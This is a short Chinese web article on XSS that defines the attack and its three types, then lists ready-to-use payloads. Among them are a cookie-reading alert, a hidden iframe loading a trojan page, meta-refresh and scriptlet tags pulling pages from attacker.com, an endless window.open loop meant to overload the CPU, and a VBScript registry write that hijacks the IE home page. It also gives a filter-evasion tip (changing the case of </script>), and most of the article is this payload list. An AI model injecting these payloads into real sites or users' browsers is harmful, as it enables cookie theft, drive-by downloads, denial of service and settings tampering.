在线时间:8:00-16:00
迪恩网络APP
随时随地掌握行业动态
扫描二维码
关注迪恩网络微信公众号
一、什么是XSS? XSS全称是Cross Site Scripting即跨站脚本,当目标网站目标用户浏览器渲染HTML文档的过程中,出现了不被预期的脚本指令并执行时,XSS就发生了。 二、XSS分类 XSS有三类:反射型XSS(非持久型)、存储型XSS(持久型)和DOM XSS 反射型XSS 存储型XSS 最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与Js解析执行,于是触发了XSS攻击。 DOM XSS 附常见的XSS攻击方法 1、这个应该都知道 2、<script>window.alert(document.cookie);</script> 3、<script>window.open('http://www.pete.cn /default.asp','newwindow','width=200,height=200');</script>,当用户浏览该 页时,将弹出壹个高爲200,宽爲200的网页窗口,在其中打开的页面是http://www.pete.cn/default.asp 4、跨站攻击的形式是多样的,不仅可以在网页中插入跨站脚本代码,而且可以在flash文件中插入跨站脚本代码,实现跨站攻击。由于flash文件有较高 的安全性,用户通常对flash文件的警惕性不够,因此用flash文件进行跨站攻击的成功率很高。如果将这个含有跨站脚本代码的flash文件插入到网 页中,例如制作成网页banner或者广告,那么中招的用户将更多。 5、<iframe src=http://www.***.com/muma.htm width=0 height=0>< iframe> 6、Refresh到另壹个页面: <meta http-equiv="refresh" content="1;URL=http://www.attacker.com/another.htm"> 7、scriptlet引入另壹个页面: <object type="text/x-scriptlet" data="http://www.attacker.com/import.htm"></object> 下面来几段长的 但是 记住 要慎用 !! 1、打开无数个浏览器窗口,直至CPU超负荷,非关机不可: <script language="JavaScript"> <!-- while (true) { window.open("URI"); //如果URI就是当前页本身,那就更具破坏性。 } //--> </script> 2、 修改注册表(IE 主页): <script language="VBScript"> Set RegWsh = CreateObject("WScript.Shell") '设置IE浏览器默认页 RegWsh.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", "http://www.attacker.com" </script> 有时候,</script> 可以替换大小写 来躲过过滤 我最后要说的壹句话就是“害人终害己”,切记! 到此这篇关于XSS攻击常识及常用脚本 的文章就介绍到这了,更多相关XSS 攻击脚本 内容请搜索极客世界以前的文章或继续浏览下面的相关文章,希望大家以后多多支持极客世界! |
请发表评论